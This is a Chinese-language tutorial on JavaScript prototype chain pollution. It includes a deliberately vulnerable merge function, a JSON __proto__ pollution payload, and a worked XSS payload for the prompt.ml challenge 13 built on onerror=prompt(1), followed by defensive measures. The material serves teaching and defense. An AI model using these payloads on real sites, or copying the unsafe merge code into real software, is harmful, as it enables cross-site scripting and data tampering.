浅析javascript原型链污染攻击
字数 1037 2025-08-25 22:59:03

JavaScript原型链污染攻击深度解析

0x00 原型与原型链基础

基本概念

  • 原型(Prototype): JavaScript中继承的基础,所有引用类型(函数、数组、对象)都拥有__proto__属性(隐式原型)
  • 原型链(Prototype Chain): JavaScript实现继承的机制,递归继承原型对象的原型,顶端是Object.prototype(最终为null)

关键特性

  1. 所有函数拥有prototype属性(显式原型,仅限函数)
  2. 实例对象通过__proto__访问构造函数的原型对象
  3. 原型对象默认有constructor属性指向构造函数

继承查找过程

当访问对象属性时:

  1. 首先查找对象自身属性
  2. 如果没有,通过__proto__查找构造函数的原型
  3. 如果仍未找到,继续沿原型链向上查找,直到Object.prototype(最终为null)

0x01 原型链污染机制

基本原理

通过修改原型对象的属性,影响所有继承该原型的实例对象。这种动态继承特性与传统语言(如Java)的静态继承完全不同。

示例对比

// JavaScript示例
function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}
function Son() {
    this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
son.__proto__.last_name = 'Obama' // 修改原型属性
let son1 = new Son()
console.log(son1.last_name) // 输出'Obama',所有实例受影响
// Java对比示例
class Father { public String name; }
class Son extends Father {
    public Son(){ super.name = "father"; }
}
public class Test {
    public static void main(String args[]) {
        Son s1 = new Son();
        s1.name = "son";
        Son s2 = new Son();
        System.out.println(s2.name); // 输出"father",实例独立
    }
}

0x02 利用场景与条件

常见易受攻击场景

  1. 对象递归合并操作(如merge)
  2. 对象克隆操作
  3. 路径查找并修改属性时

关键利用条件

  • 存在可控的对象键值
  • 能够操作__proto__属性

典型漏洞代码

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b) // 1, undefined
o3 = {}
console.log(o3.b) // 2,原型被污染

0x03 实际案例分析

XSS漏洞利用示例

分析prompt.ml第13题:

function escape(input) {
    function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i++) {
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;
    }

    try {
        var data = JSON.parse(input);
        var config = extend({
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input));
        
        if (/[^\w:\/.]/.test(config.source)) {
            delete config.source;
        }
        
        var source = config.source.replace(/"/g, '');
        return ''.replace('{{source}}', source);
    } catch (e) {
        return 'Invalid image data.';
    }
}

漏洞利用步骤

  1. 通过__proto__污染原型链,覆盖默认的source属性
  2. 利用replace函数的特殊行为绕过过滤
  3. 构造XSS payload

最终Payload

{
    "source": "%",
    "__proto__": {
        "source": "$` onerror=prompt(1)><!--"
    }
}

漏洞解析

  1. config.source被删除后,会从原型链查找source
  2. $replace中有特殊含义:`$``表示匹配前的文本
  3. 最终生成恶意HTML:
<!--">

0x04 防御措施

  1. 避免递归合并不可信数据:特别是包含__proto__属性的对象
  2. 使用Object.create(null):创建无原型的对象作为接收对象
  3. 冻结原型对象Object.freeze(Object.prototype)
  4. 严格输入验证:过滤或拒绝包含__proto__的输入
  5. 使用安全的合并函数:如Lodash的_.mergeWith自定义处理

0x05 扩展阅读

  1. P神关于原型链污染的文章
  2. HackerOne漏洞报告
  3. 从原型链污染到RCE
JavaScript原型链污染攻击深度解析 0x00 原型与原型链基础 基本概念 原型(Prototype) : JavaScript中继承的基础,所有引用类型(函数、数组、对象)都拥有 __proto__ 属性(隐式原型) 原型链(Prototype Chain) : JavaScript实现继承的机制,递归继承原型对象的原型,顶端是 Object.prototype (最终为 null ) 关键特性 所有函数拥有 prototype 属性(显式原型,仅限函数) 实例对象通过 __proto__ 访问构造函数的原型对象 原型对象默认有 constructor 属性指向构造函数 继承查找过程 当访问对象属性时: 首先查找对象自身属性 如果没有,通过 __proto__ 查找构造函数的原型 如果仍未找到,继续沿原型链向上查找,直到 Object.prototype (最终为 null ) 0x01 原型链污染机制 基本原理 通过修改原型对象的属性,影响所有继承该原型的实例对象。这种动态继承特性与传统语言(如Java)的静态继承完全不同。 示例对比 0x02 利用场景与条件 常见易受攻击场景 对象递归合并操作(如 merge ) 对象克隆操作 路径查找并修改属性时 关键利用条件 存在可控的对象键值 能够操作 __proto__ 属性 典型漏洞代码 0x03 实际案例分析 XSS漏洞利用示例 分析prompt.ml第13题: 漏洞利用步骤 通过 __proto__ 污染原型链,覆盖默认的 source 属性 利用 replace 函数的特殊行为绕过过滤 构造XSS payload 最终Payload 漏洞解析 当 config.source 被删除后,会从原型链查找 source $ 在 replace 中有特殊含义: `$ `` 表示匹配前的文本 最终生成恶意HTML: 0x04 防御措施 避免递归合并不可信数据 :特别是包含 __proto__ 属性的对象 使用Object.create(null) :创建无原型的对象作为接收对象 冻结原型对象 : Object.freeze(Object.prototype) 严格输入验证 :过滤或拒绝包含 __proto__ 的输入 使用安全的合并函数 :如Lodash的 _.mergeWith 自定义处理 0x05 扩展阅读 P神关于原型链污染的文章 HackerOne漏洞报告 从原型链污染到RCE